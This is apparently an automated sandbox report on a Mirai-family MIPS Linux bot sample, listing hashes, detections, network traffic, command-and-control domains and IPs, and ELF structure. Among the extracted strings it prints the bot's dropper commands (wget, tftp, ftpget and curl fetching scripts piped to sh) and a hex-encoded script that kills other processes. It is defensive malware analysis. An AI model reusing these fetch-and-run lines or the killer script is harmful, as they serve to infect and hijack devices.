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Linux Analysis Report
nabmpsl.elf

Overview

General Information

Sample name:	nabmpsl.elf
Analysis ID:	1580187
MD5:	be931f58880bc5056c2821abec7e7bed
SHA1:	d84df1e7321fa227ce4a5988b21d8ffd3d18b74f
SHA256:	aa56879008c87fbb58da17c05567cc902b042dc6d921648389c4616c29b77838
Tags:	elfuser-abuse_ch
Infos:

Detection

Score:	56
Range:	0 - 100
Whitelisted:	false

Signatures

Multi AV Scanner detection for submitted file

Connects to many ports of the same IP (likely port scanning)

Sends malformed DNS queries

Detected TCP or UDP traffic on non-standard ports

Enumerates processes within the "proc" file system

Found strings indicative of a multi-platform dropper

Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable

Sample has stripped symbol table

Sample listens on a socket

Uses the "uname" system call to query kernel version information (possible evasion)

Classification

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1580187
Start date and time:	2024-12-24 03:56:35 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 16s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultlinuxfilecookbook.jbs
Analysis system description:	Ubuntu Linux 20.04 x64 (Kernel 5.4.0-72, Firefox 91.0, Evince Document Viewer 3.36.10, LibreOffice 6.4.7.2, OpenJDK 11.0.11)
Analysis Mode:	default
Sample name:	nabmpsl.elf
Detection:	MAL
Classification:	mal56.troj.linELF@0/86@11/0

Runtime Messages

Command:	/tmp/nabmpsl.elf
PID:	5656
Exit Code:	0
Exit Code Info:
Killed:	False
Standard Output:	The Peoples Bank of China.
Standard Error:

Process Tree

system is lnxubuntu20

nabmpsl.elf (PID: 5656, Parent: 5584, MD5: 0d6f61f82cf2f781c6eb0661071d42d9) Arguments: /tmp/nabmpsl.elf

nabmpsl.elf New Fork (PID: 5658, Parent: 5656)

nabmpsl.elf New Fork (PID: 5660, Parent: 5658)

nabmpsl.elf New Fork (PID: 5665, Parent: 5658)

nabmpsl.elf New Fork (PID: 5666, Parent: 5658)

cleanup

String: /bin/busyboxincorrectinvalidbadwrongfaildeniederrorretryenableshellshlinuxshellping ;shusage: busybox/bin/busybox hostname PBOC/bin/busybox echo > .b && sh .b && cd .ksh .k/bin/busybox wget http:///wget.sh -O- | sh;/bin/busybox tftp -g -r tftp.sh -l- | sh;/bin/busybox ftpget ftpget.sh ftpget.sh && sh ftpget.sh;curl http:///curl.sh -o- | sh/bin/busybox chmod +x .d; ./.d; ./dvrHelper selfrepThe People's/var//var/run//var/tmp//dev//dev/shm//etc//mnt//usr//boot//home/"\x23\x21\x2F\x62\x69\x6E\x2F\x73\x68\x0A\x0A\x66\x6F\x72\x20\x70\x72\x6F\x63\x5F\x64\x69\x72\x20\x69\x6E\x20\x2F\x70\x72\x6F\x63""\x2F\x2A\x3B\x20\x64\x6F\x0A\x20\x20\x20\x20\x70\x69\x64\x3D\x24\x7B\x70\x72\x6F\x63\x5F\x64\x69\x72\x23\x23\x2A\x2F\x7D\x0A\x0A""\x20\x20\x20\x20\x72\x65\x73\x75\x6C\x74\x3D\x24\x28\x6C\x73\x20\x2D\x6C\x20\x22\x2F\x70\x72\x6F\x63\x2F\x24\x70\x69\x64\x2F\x65""\x78\x65\x22\x20\x32\x3E\x20\x2F\x64\x65\x76\x2F\x6E\x75\x6C\x6C\x29\x0A\x0A\x20\x20\x20\x20\x69\x66\x20\x5B\x20\x22\x24\x72\x65""\x73\x75\x6C\x74\x22\x20\x21\x3D\x20\x22\x24\x7B\x72\x65\x73\x75\x6C\x74\x25\x28\x64\x65\x6C\x65\x74\x65\x64\x29\x7D\x22\x20\x5D""\x3B\x20\x74\x68\x65\x6E\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x6B\x69\x6C\x6C\x20\x2D\x39\x20\x22\x24\x70\x69\x64\x22\x0A\x20\x20""\x20\x20\x66\x69\x0A\x64\x6F\x6E\x65\x0A"armarm5arm6arm7mipsmpslppcspcsh4

Source: nabmpsl.elf	ReversingLabs: Detection: 31%
Source: nabmpsl.elf	Virustotal: Detection: 30%			Perma Link

Source: global traffic	TCP traffic: 154.216.16.244 ports 38241,1,2,3,4,8
Source: global traffic	TCP traffic: 209.38.192.73 ports 38241,1,2,3,4,8
Source: global traffic	TCP traffic: 154.216.16.250 ports 38241,1,2,3,4,8

Source: global traffic	TCP traffic: 192.168.2.15:35462 -> 154.216.16.250:38241
Source: global traffic	TCP traffic: 192.168.2.15:55376 -> 209.38.192.73:38241
Source: global traffic	TCP traffic: 192.168.2.15:41328 -> 154.216.16.244:38241

Source: unknown	TCP traffic detected without corresponding DNS query: 186.249.247.7
Source: unknown	TCP traffic detected without corresponding DNS query: 162.12.19.139
Source: unknown	TCP traffic detected without corresponding DNS query: 125.234.244.194
Source: unknown	TCP traffic detected without corresponding DNS query: 184.244.114.182
Source: unknown	TCP traffic detected without corresponding DNS query: 157.240.171.227
Source: unknown	TCP traffic detected without corresponding DNS query: 189.154.20.62
Source: unknown	TCP traffic detected without corresponding DNS query: 106.77.114.151
Source: unknown	TCP traffic detected without corresponding DNS query: 170.75.177.68
Source: unknown	TCP traffic detected without corresponding DNS query: 119.188.200.248
Source: unknown	TCP traffic detected without corresponding DNS query: 93.124.131.242
Source: unknown	TCP traffic detected without corresponding DNS query: 174.29.162.151
Source: unknown	TCP traffic detected without corresponding DNS query: 82.2.162.95
Source: unknown	TCP traffic detected without corresponding DNS query: 95.114.235.155
Source: unknown	TCP traffic detected without corresponding DNS query: 200.164.178.34
Source: unknown	TCP traffic detected without corresponding DNS query: 165.84.168.174
Source: unknown	TCP traffic detected without corresponding DNS query: 2.147.50.15
Source: unknown	TCP traffic detected without corresponding DNS query: 139.96.130.172
Source: unknown	TCP traffic detected without corresponding DNS query: 209.215.232.86
Source: unknown	TCP traffic detected without corresponding DNS query: 166.249.112.201
Source: unknown	TCP traffic detected without corresponding DNS query: 128.240.129.9
Source: unknown	TCP traffic detected without corresponding DNS query: 186.249.247.7
Source: unknown	TCP traffic detected without corresponding DNS query: 162.12.19.139
Source: unknown	TCP traffic detected without corresponding DNS query: 125.234.244.194
Source: unknown	TCP traffic detected without corresponding DNS query: 184.244.114.182
Source: unknown	TCP traffic detected without corresponding DNS query: 157.240.171.227
Source: unknown	TCP traffic detected without corresponding DNS query: 189.154.20.62
Source: unknown	TCP traffic detected without corresponding DNS query: 106.77.114.151
Source: unknown	TCP traffic detected without corresponding DNS query: 170.75.177.68
Source: unknown	TCP traffic detected without corresponding DNS query: 119.188.200.248
Source: unknown	TCP traffic detected without corresponding DNS query: 93.124.131.242
Source: unknown	TCP traffic detected without corresponding DNS query: 174.29.162.151
Source: unknown	TCP traffic detected without corresponding DNS query: 82.2.162.95
Source: unknown	TCP traffic detected without corresponding DNS query: 95.114.235.155
Source: unknown	TCP traffic detected without corresponding DNS query: 200.164.178.34
Source: unknown	TCP traffic detected without corresponding DNS query: 165.84.168.174
Source: unknown	TCP traffic detected without corresponding DNS query: 2.147.50.15
Source: unknown	TCP traffic detected without corresponding DNS query: 139.96.130.172
Source: unknown	TCP traffic detected without corresponding DNS query: 209.215.232.86
Source: unknown	TCP traffic detected without corresponding DNS query: 166.249.112.201
Source: unknown	TCP traffic detected without corresponding DNS query: 128.240.129.9
Source: unknown	TCP traffic detected without corresponding DNS query: 186.249.247.7
Source: unknown	TCP traffic detected without corresponding DNS query: 184.244.114.182
Source: unknown	TCP traffic detected without corresponding DNS query: 162.12.19.139
Source: unknown	TCP traffic detected without corresponding DNS query: 125.234.244.194
Source: unknown	TCP traffic detected without corresponding DNS query: 157.240.171.227
Source: unknown	TCP traffic detected without corresponding DNS query: 189.154.20.62
Source: unknown	TCP traffic detected without corresponding DNS query: 106.77.114.151
Source: unknown	TCP traffic detected without corresponding DNS query: 170.75.177.68
Source: unknown	TCP traffic detected without corresponding DNS query: 119.188.200.248
Source: unknown	TCP traffic detected without corresponding DNS query: 93.124.131.242

Source: global traffic	DNS traffic detected: DNS query: serisontop.dyn
Source: global traffic	DNS traffic detected: DNS query: serisbot.geek. [malformed]

Source: nabmpsl.elf	String found in binary or memory: http:///curl.sh
Source: nabmpsl.elf	String found in binary or memory: http:///wget.sh

Source: Initial sample	String containing 'busybox' found: /bin/busybox echo -ne
Source: Initial sample	String containing 'busybox' found: /bin/busybox echo -ne >> > .d
Source: Initial sample	String containing 'busybox' found: /bin/busybox
Source: Initial sample	String containing 'busybox' found: usage: busybox
Source: Initial sample	String containing 'busybox' found: /bin/busybox hostname PBOC
Source: Initial sample	String containing 'busybox' found: /bin/busybox echo >
Source: Initial sample	String containing 'busybox' found: /bin/busybox wget http://
Source: Initial sample	String containing 'busybox' found: /wget.sh -O- \| sh;/bin/busybox tftp -g
Source: Initial sample	String containing 'busybox' found: -r tftp.sh -l- \| sh;/bin/busybox ftpget
Source: Initial sample	String containing 'busybox' found: /bin/busybox chmod +x .d; ./.d; ./dvrHelper selfrep
Source: Initial sample	String containing 'busybox' found: /bin/busyboxincorrectinvalidbadwrongfaildeniederrorretryenableshellshlinuxshellping ;shusage: busybox/bin/busybox hostname PBOC/bin/busybox echo > .b && sh .b && cd .ksh .k/bin/busybox wget http:///wget.sh -O- \| sh;/bin/busybox tftp -g -r tftp.sh -l- \| sh;/bin/busybox ftpget ftpget.sh ftpget.sh && sh ftpget.sh;curl http:///curl.sh -o- \| sh/bin/busybox chmod +x .d; ./.d; ./dvrHelper selfrepThe People's/var//var/run//var/tmp//dev//dev/shm//etc//mnt//usr//boot//home/"\x23\x21\x2F\x62\x69\x6E\x2F\x73\x68\x0A\x0A\x66\x6F\x72\x20\x70\x72\x6F\x63\x5F\x64\x69\x72\x20\x69\x6E\x20\x2F\x70\x72\x6F\x63""\x2F\x2A\x3B\x20\x64\x6F\x0A\x20\x20\x20\x20\x70\x69\x64\x3D\x24\x7B\x70\x72\x6F\x63\x5F\x64\x69\x72\x23\x23\x2A\x2F\x7D\x0A\x0A""\x20\x20\x20\x20\x72\x65\x73\x75\x6C\x74\x3D\x24\x28\x6C\x73\x20\x2D\x6C\x20\x22\x2F\x70\x72\x6F\x63\x2F\x24\x70\x69\x64\x2F\x65""\x78\x65\x22\x20\x32\x3E\x20\x2F\x64\x65\x76\x2F\x6E\x75\x6C\x6C\x29\x0A\x0A\x20\x20\x20\x20\x69\x66\x20\x5B\x20\x22\x24\x72\x65""\x73\x75\x6C\x74\x22\x20\x21\x3D

Source: /tmp/nabmpsl.elf (PID: 5665)	File opened: /proc/5680/maps	Jump to behavior
Source: /tmp/nabmpsl.elf (PID: 5665)	File opened: /proc/5680/cmdline	Jump to behavior
Source: /tmp/nabmpsl.elf (PID: 5665)	File opened: /proc/5681/maps	Jump to behavior
Source: /tmp/nabmpsl.elf (PID: 5665)	File opened: /proc/5681/cmdline	Jump to behavior
Source: /tmp/nabmpsl.elf (PID: 5665)	File opened: /proc/5682/maps	Jump to behavior
Source: /tmp/nabmpsl.elf (PID: 5665)	File opened: /proc/5682/cmdline	Jump to behavior
Source: /tmp/nabmpsl.elf (PID: 5665)	File opened: /proc/5683/maps	Jump to behavior
Source: /tmp/nabmpsl.elf (PID: 5665)	File opened: /proc/5683/cmdline	Jump to behavior
Source: /tmp/nabmpsl.elf (PID: 5665)	File opened: /proc/5684/maps	Jump to behavior
Source: /tmp/nabmpsl.elf (PID: 5665)	File opened: /proc/5684/cmdline	Jump to behavior
Source: /tmp/nabmpsl.elf (PID: 5665)	File opened: /proc/5684/maps	Jump to behavior
Source: /tmp/nabmpsl.elf (PID: 5665)	File opened: /proc/5684/cmdline	Jump to behavior
Source: /tmp/nabmpsl.elf (PID: 5665)	File opened: /proc/5685/maps	Jump to behavior
Source: /tmp/nabmpsl.elf (PID: 5665)	File opened: /proc/5685/cmdline	Jump to behavior
Source: /tmp/nabmpsl.elf (PID: 5665)	File opened: /proc/5685/maps	Jump to behavior
Source: /tmp/nabmpsl.elf (PID: 5665)	File opened: /proc/5685/cmdline	Jump to behavior
Source: /tmp/nabmpsl.elf (PID: 5665)	File opened: /proc/5686/maps	Jump to behavior
Source: /tmp/nabmpsl.elf (PID: 5665)	File opened: /proc/5686/cmdline	Jump to behavior
Source: /tmp/nabmpsl.elf (PID: 5665)	File opened: /proc/5686/maps	Jump to behavior
Source: /tmp/nabmpsl.elf (PID: 5665)	File opened: /proc/5686/cmdline	Jump to behavior
Source: /tmp/nabmpsl.elf (PID: 5665)	File opened: /proc/5741/maps	Jump to behavior
Source: /tmp/nabmpsl.elf (PID: 5665)	File opened: /proc/5741/cmdline	Jump to behavior
Source: /tmp/nabmpsl.elf (PID: 5665)	File opened: /proc/5687/maps	Jump to behavior
Source: /tmp/nabmpsl.elf (PID: 5665)	File opened: /proc/5687/cmdline	Jump to behavior
Source: /tmp/nabmpsl.elf (PID: 5665)	File opened: /proc/5687/maps	Jump to behavior
Source: /tmp/nabmpsl.elf (PID: 5665)	File opened: /proc/5687/cmdline	Jump to behavior
Source: /tmp/nabmpsl.elf (PID: 5665)	File opened: /proc/5677/maps	Jump to behavior
Source: /tmp/nabmpsl.elf (PID: 5665)	File opened: /proc/5677/cmdline	Jump to behavior
Source: /tmp/nabmpsl.elf (PID: 5665)	File opened: /proc/5688/maps	Jump to behavior
Source: /tmp/nabmpsl.elf (PID: 5665)	File opened: /proc/5688/cmdline	Jump to behavior
Source: /tmp/nabmpsl.elf (PID: 5665)	File opened: /proc/5688/maps	Jump to behavior
Source: /tmp/nabmpsl.elf (PID: 5665)	File opened: /proc/5688/cmdline	Jump to behavior
Source: /tmp/nabmpsl.elf (PID: 5665)	File opened: /proc/5678/maps	Jump to behavior
Source: /tmp/nabmpsl.elf (PID: 5665)	File opened: /proc/5678/cmdline	Jump to behavior
Source: /tmp/nabmpsl.elf (PID: 5665)	File opened: /proc/5679/maps	Jump to behavior
Source: /tmp/nabmpsl.elf (PID: 5665)	File opened: /proc/5679/cmdline	Jump to behavior

Source: nabmpsl.elf, 5656.1.00007ffd5646f000.00007ffd56490000.rw-.sdmp, nabmpsl.elf, 5660.1.00007ffd5646f000.00007ffd56490000.rw-.sdmp	Binary or memory string: x86_64/usr/bin/qemu-mipsel/tmp/nabmpsl.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/nabmpsl.elf
Source: nabmpsl.elf, 5656.1.000055bc8e21d000.000055bc8e2a4000.rw-.sdmp, nabmpsl.elf, 5660.1.000055bc8e21d000.000055bc8e2a4000.rw-.sdmp	Binary or memory string: /etc/qemu-binfmt/mipsel
Source: nabmpsl.elf, 5656.1.000055bc8e21d000.000055bc8e2a4000.rw-.sdmp, nabmpsl.elf, 5660.1.000055bc8e21d000.000055bc8e2a4000.rw-.sdmp	Binary or memory string: U!/etc/qemu-binfmt/mipsel
Source: nabmpsl.elf, 5656.1.00007ffd5646f000.00007ffd56490000.rw-.sdmp, nabmpsl.elf, 5660.1.00007ffd5646f000.00007ffd56490000.rw-.sdmp	Binary or memory string: /usr/bin/qemu-mipsel

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	1 Scripting	Valid Accounts	Windows Management Instrumentation	1 Scripting	Path Interception	Direct Volume Access	1 OS Credential Dumping	11 Security Software Discovery	Remote Services	Data from Local System	1 Non-Standard Port	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	Rootkit	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	1 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	Obfuscated Files or Information	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact

Source	Detection	Scanner	Label	Link
nabmpsl.elf	32%	ReversingLabs	Linux.Trojan.Mirai
nabmpsl.elf	30%	Virustotal		Browse

Name	Source	Malicious	Antivirus Detection	Reputation
http:///wget.sh	nabmpsl.elf	false		high
http:///curl.sh	nabmpsl.elf	false		high

IP	Domain	Country	ASN	ASN Name	Malicious
218.94.183.126	unknown	China	4134	CHINANET-BACKBONENo31Jin-rongStreetCN	false
222.27.132.104	unknown	China	4538	ERX-CERNET-BKBChinaEducationandResearchNetworkCenter	false
2.147.50.15	unknown	Iran (ISLAMIC Republic Of)	44244	IRANCELL-ASIR	false
41.6.205.90	unknown	South Africa	29975	VODACOM-ZA	false
47.143.64.178	unknown	United States	5650	FRONTIER-FRTRUS	false
178.182.214.119	unknown	Poland	12912	TMPL	false
125.234.244.194	unknown	Viet Nam	7552	VIETEL-AS-APViettelGroupVN	false
22.23.31.133	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
184.132.183.226	unknown	United States	5778	CENTURYLINK-LEGACY-EMBARQ-RCMTUS	false
40.35.109.120	unknown	United States	4249	LILLY-ASUS	false
42.199.2.70	unknown	China	7497	CSTNET-AS-APComputerNetworkInformationCenterCN	false
203.45.130.32	unknown	Australia	1221	ASN-TELSTRATelstraCorporationLtdAU	false
144.237.31.27	unknown	United States	1239	SPRINTLINKUS	false
44.6.154.249	unknown	United States	29962	DWNI-B-NETWORKUS	false
157.240.171.227	unknown	United States	35819	MOBILY-ASEtihadEtisalatCompanyMobilySA	false
82.212.7.188	unknown	Germany	6830	LIBERTYGLOBALLibertyGlobalformerlyUPCBroadbandHolding	false
17.137.69.129	unknown	United States	714	APPLE-ENGINEERINGUS	false
9.30.102.48	unknown	United States	3356	LEVEL3US	false
60.20.127.202	unknown	China	4837	CHINA169-BACKBONECHINAUNICOMChina169BackboneCN	false
25.174.128.12	unknown	United Kingdom	7922	COMCAST-7922US	false
29.127.101.1	unknown	United States	7922	COMCAST-7922US	false
220.120.210.168	unknown	Korea Republic of	4766	KIXS-AS-KRKoreaTelecomKR	false
98.208.61.56	unknown	United States	7922	COMCAST-7922US	false
93.124.131.242	unknown	Norway	25400	TELIA-NORWAY-ASTeliaNorwayCoreNetworksNO	false
174.198.10.218	unknown	United States	22394	CELLCOUS	false
162.126.166.196	unknown	United States	18722	SUPERVALUUS	false
154.216.16.244	unknown	Seychelles	135357	SKHT-ASShenzhenKatherineHengTechnologyInformationCo	true
166.249.112.201	unknown	United States	22394	CELLCOUS	false
207.224.58.111	unknown	United States	209	CENTURYLINK-US-LEGACY-QWESTUS	false
137.32.152.151	unknown	United States	721	DNIC-ASBLK-00721-00726US	false
15.220.185.182	unknown	United States	10782	HP-DIGITAL-10782US	false
162.12.19.139	unknown	United States	35893	ACPCA	false
20.181.172.152	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
159.231.27.82	unknown	Canada	12226	AS12226US	false
174.25.187.201	unknown	United States	209	CENTURYLINK-US-LEGACY-QWESTUS	false
8.50.144.67	unknown	United States	3356	LEVEL3US	false
152.107.20.224	unknown	South Africa	36994	Vodacom-VBZA	false
13.179.106.108	unknown	United States	7018	ATT-INTERNET4US	false
63.103.98.126	unknown	United States	3356	LEVEL3US	false
69.206.100.112	unknown	United States	12271	TWC-12271-NYCUS	false

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
154.216.16.244	zerspc.elf	Get hash	malicious	Unknown	Browse
	zerarm.elf	Get hash	malicious	Unknown	Browse
	zerx86.elf	Get hash	malicious	Unknown	Browse

Name	IP	Active	Malicious	Antivirus Detection	Reputation
serisontop.dyn	154.216.16.250	true	false		high
serisbot.geek. [malformed]	unknown	unknown	false		high

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
serisontop.dyn	splppc.elf	Get hash	malicious	Unknown	Browse	154.216.16.250
	jklx86.elf	Get hash	malicious	Unknown	Browse	154.216.16.244
	nklmpsl.elf	Get hash	malicious	Unknown	Browse	154.216.16.250
	arm.elf	Get hash	malicious	Unknown	Browse	154.216.16.244
	jklmips.elf	Get hash	malicious	Unknown	Browse	154.216.16.250
	zerspc.elf	Get hash	malicious	Unknown	Browse	209.38.192.73
	nklsh4.elf	Get hash	malicious	Unknown	Browse	209.38.192.73
	splx86.elf	Get hash	malicious	Unknown	Browse	209.38.192.73
	zerm68k.elf	Get hash	malicious	Unknown	Browse	209.38.192.73
	zermpsl.elf	Get hash	malicious	Unknown	Browse	209.38.192.73

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
ERX-CERNET-BKBChinaEducationandResearchNetworkCenter	arm7.elf	Get hash	malicious	Unknown	Browse	211.85.22.178
	jklx86.elf	Get hash	malicious	Unknown	Browse	116.56.241.182
	jklmips.elf	Get hash	malicious	Unknown	Browse	101.76.65.89
	nklsh4.elf	Get hash	malicious	Unknown	Browse	114.214.3.54
	armv4l.elf	Get hash	malicious	Unknown	Browse	59.78.79.195
	armv6l.elf	Get hash	malicious	Unknown	Browse	118.230.123.9
	armv4l.elf	Get hash	malicious	Unknown	Browse	202.200.135.68
	loligang.arm.elf	Get hash	malicious	Mirai	Browse	125.218.13.196
	loligang.arm7.elf	Get hash	malicious	Mirai	Browse	183.175.226.43
	arm.nn.elf	Get hash	malicious	Mirai, Okiru	Browse	115.156.54.47
VODACOM-ZA	jklmips.elf	Get hash	malicious	Unknown	Browse	156.4.107.114
	jklmpsl.elf	Get hash	malicious	Unknown	Browse	41.6.232.119
	armv5l.elf	Get hash	malicious	Unknown	Browse	156.133.169.27
	2.elf	Get hash	malicious	Unknown	Browse	41.10.179.227
	1.elf	Get hash	malicious	Unknown	Browse	41.4.96.44
	3.elf	Get hash	malicious	Unknown	Browse	41.23.40.204
	2.elf	Get hash	malicious	Unknown	Browse	41.3.249.54
	loligang.arm7.elf	Get hash	malicious	Mirai	Browse	41.9.137.163
	2.elf	Get hash	malicious	Unknown	Browse	41.30.144.243
	powerpc.nn.elf	Get hash	malicious	Mirai, Okiru	Browse	156.64.181.45
CHINANET-BACKBONENo31Jin-rongStreetCN	splppc.elf	Get hash	malicious	Unknown	Browse	113.121.141.230
	arm7.elf	Get hash	malicious	Unknown	Browse	116.31.220.33
	jklx86.elf	Get hash	malicious	Unknown	Browse	115.203.239.97
	nklmpsl.elf	Get hash	malicious	Unknown	Browse	114.99.149.218
	arm.elf	Get hash	malicious	Unknown	Browse	58.44.128.217
	jklmips.elf	Get hash	malicious	Unknown	Browse	58.47.210.160
	nklsh4.elf	Get hash	malicious	Unknown	Browse	222.214.85.37
	splx86.elf	Get hash	malicious	Unknown	Browse	218.85.183.41
	jklmpsl.elf	Get hash	malicious	Unknown	Browse	153.119.68.246
	arm5.elf	Get hash	malicious	Unknown	Browse	117.46.46.105
IRANCELL-ASIR	sh4.nn.elf	Get hash	malicious	Mirai, Okiru	Browse	5.125.8.226
	arm5.nn-20241219-1505.elf	Get hash	malicious	Mirai, Okiru	Browse	5.124.112.191
	ppc.elf	Get hash	malicious	Mirai, Moobot	Browse	5.126.75.132
	IGz.mips.elf	Get hash	malicious	Mirai	Browse	5.120.143.118
	arm.nn.elf	Get hash	malicious	Mirai, Okiru	Browse	5.120.34.178
	TRC.m68k.elf	Get hash	malicious	Mirai	Browse	5.119.99.145
	b3astmode.spc.elf	Get hash	malicious	Mirai	Browse	2.146.84.227
	Owari.x86.elf	Get hash	malicious	Unknown	Browse	5.115.193.249
	main_mpsl.elf	Get hash	malicious	Mirai	Browse	5.126.75.168
	la.bot.mipsel.elf	Get hash	malicious	Mirai	Browse	2.144.34.112

Process:	/tmp/nabmpsl.elf
File Type:	ASCII text
Category:	dropped
Size (bytes):	292
Entropy (8bit):	3.1307837182298743
Encrypted:	false
SSDEEP:	6:URjVDF+VPj/VcDFnT/V/BHT/VDM/V+4D/VH:IjVUMpHRMfF
MD5:	2A8A2371145188A38F540470E8A13EDE
SHA1:	A07A482321986606D4A18850AC9CE0FDCA8AB515
SHA-256:	325E055935DF9137C39F73A4B0EAF10DD7786E0C9195F6BB74879B0960E690DC
SHA-512:	31D79E9B943E6F59674A223CDE5F288F1007B3D7C44D8A4F5FAF2C82A7C1C9C667572A7B3439CF0B39C371ED10B3581BD0650C5DA5FC7100639110D1DAB83267
Malicious:	false
Reputation:	low
Preview:	400000-40d000 r-xp 00000000 fd:00 531606 /tmp/..44d000-44e000 rw-p 0000d000 fd:00 531606 /tmp/..44e000-450000 rw-p 00000000 00:00 0 .450000-451000 rw-p 00000000 00:00 0 .7f7ff000-7f800000 ---p 00000000 00:00 0 .7f800000-80000000 rw-p 00000000 00:00 0 [stack].

File type:	ELF 32-bit LSB executable, MIPS, MIPS-I version 1 (SYSV), statically linked, stripped
Entropy (8bit):	5.444338316491707
TrID:	ELF Executable and Linkable format (generic) (4004/1) 100.00%
File name:	nabmpsl.elf
File size:	55'560 bytes
MD5:	be931f58880bc5056c2821abec7e7bed
SHA1:	d84df1e7321fa227ce4a5988b21d8ffd3d18b74f
SHA256:	aa56879008c87fbb58da17c05567cc902b042dc6d921648389c4616c29b77838
SHA512:	5a2c9d084a99a9134519e0aedff17eac6de52b3cd335923d9b381eb285d7ca0fe5857eb81e0d5ef6a07cd236c618a15ef83d7e4a6639c18ce44b7302a38f7222
SSDEEP:	1536:QjUXPE+I6OC7a2sfxOWmQ5/Sr69uWxvQpT3bsR:QjUm62b/wT3
TLSH:	FF43A8457B608EA7D8AFDC37457D4B4538CD920722A83BB57834E818F35B54F4AE38A8
File Content Preview:	.ELF....................`.@.4...........4. ...(...............@...@...........................D...D.D...(...........Q.td...............................<.Q.'!......'.......................<.Q.'!... .........9'.. ........................<xQ.'!...........p.9

ELF header
Class:	ELF32
Data:	2's complement, little endian
Version:	1 (current)
Machine:	MIPS R3000
Version Number:	0x1
Type:	EXEC (Executable file)
OS/ABI:	UNIX - System V
ABI Version:	0
Entry Point Address:	0x400260
Flags:	0x1007
ELF Header Size:	52
Program Header Offset:	52
Program Header Size:	32
Number of Program Headers:	3
Section Header Offset:	54960
Section Header Size:	40
Number of Section Headers:	15
Header String Table Index:	14

Name	Type	Address	Offset	Size	EntSize	Flags	Flags Description	Align
	NULL	0x0	0x0	0x0	0x0	0x0		0
.init	PROGBITS	0x400094	0x94	0x8c	0x0	0x6	AX	4
.text	PROGBITS	0x400120	0x120	0xc0c0	0x0	0x6	AX	16
.fini	PROGBITS	0x40c1e0	0xc1e0	0x5c	0x0	0x6	AX	4
.rodata	PROGBITS	0x40c240	0xc240	0xd80	0x0	0x2	A	16
.ctors	PROGBITS	0x44d000	0xd000	0x8	0x0	0x3	WA	4
.dtors	PROGBITS	0x44d008	0xd008	0x8	0x0	0x3	WA	4
.jcr	PROGBITS	0x44d010	0xd010	0x4	0x0	0x3	WA	4
.data.rel.ro	PROGBITS	0x44d014	0xd014	0xd8	0x0	0x3	WA	4
.data	PROGBITS	0x44d0f0	0xd0f0	0x180	0x0	0x3	WA	16
.got	PROGBITS	0x44d270	0xd270	0x3d4	0x4	0x10000003	WAp	16
.sbss	NOBITS	0x44d644	0xd644	0x20	0x0	0x10000003	WAp	4
.bss	NOBITS	0x44d670	0xd644	0x11b8	0x0	0x3	WA	16
.mdebug.abi32	PROGBITS	0x774	0xd644	0x0	0x0	0x0		1
.shstrtab	STRTAB	0x0	0xd644	0x69	0x0	0x0		1

Type	Offset	Virtual Address	Physical Address	File Size	Memory Size	Entropy	Flags	Flags Description	Align	Section Mappings
LOAD	0x0	0x400000	0x400000	0xcfc0	0xcfc0	5.4979	0x5	R E	0x10000	.init .text .fini .rodata
LOAD	0xd000	0x44d000	0x44d000	0x644	0x1828	3.2950	0x6	RW	0x10000	.ctors .dtors .jcr .data.rel.ro .data .got .sbss .bss
GNU_STACK	0x0	0x0	0x0	0x0	0x0	0.0000	0x7	RWE	0x4

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 24, 2024 03:57:47.054527998 CET	45715	53	192.168.2.15	185.181.61.24
Dec 24, 2024 03:57:47.315264940 CET	53	45715	185.181.61.24	192.168.2.15
Dec 24, 2024 03:57:58.862164021 CET	47516	53	192.168.2.15	185.181.61.24
Dec 24, 2024 03:57:59.126172066 CET	53	47516	185.181.61.24	192.168.2.15
Dec 24, 2024 03:58:11.358141899 CET	52732	53	192.168.2.15	194.36.144.87
Dec 24, 2024 03:58:11.602215052 CET	53	52732	194.36.144.87	192.168.2.15
Dec 24, 2024 03:58:23.831626892 CET	37014	53	192.168.2.15	51.158.108.203
Dec 24, 2024 03:58:24.070806980 CET	53	37014	51.158.108.203	192.168.2.15
Dec 24, 2024 03:58:36.297584057 CET	48564	53	192.168.2.15	51.158.108.203
Dec 24, 2024 03:58:36.536806107 CET	53	48564	51.158.108.203	192.168.2.15
Dec 24, 2024 03:58:48.770574093 CET	41941	53	192.168.2.15	185.181.61.24
Dec 24, 2024 03:58:49.030569077 CET	53	41941	185.181.61.24	192.168.2.15
Dec 24, 2024 03:59:01.269397974 CET	47157	53	192.168.2.15	194.36.144.87
Dec 24, 2024 03:59:01.512016058 CET	53	47157	194.36.144.87	192.168.2.15
Dec 24, 2024 03:59:13.069953918 CET	39916	53	192.168.2.15	168.235.111.72
Dec 24, 2024 03:59:13.385328054 CET	53	39916	168.235.111.72	192.168.2.15
Dec 24, 2024 03:59:25.658612967 CET	53896	53	192.168.2.15	168.235.111.72
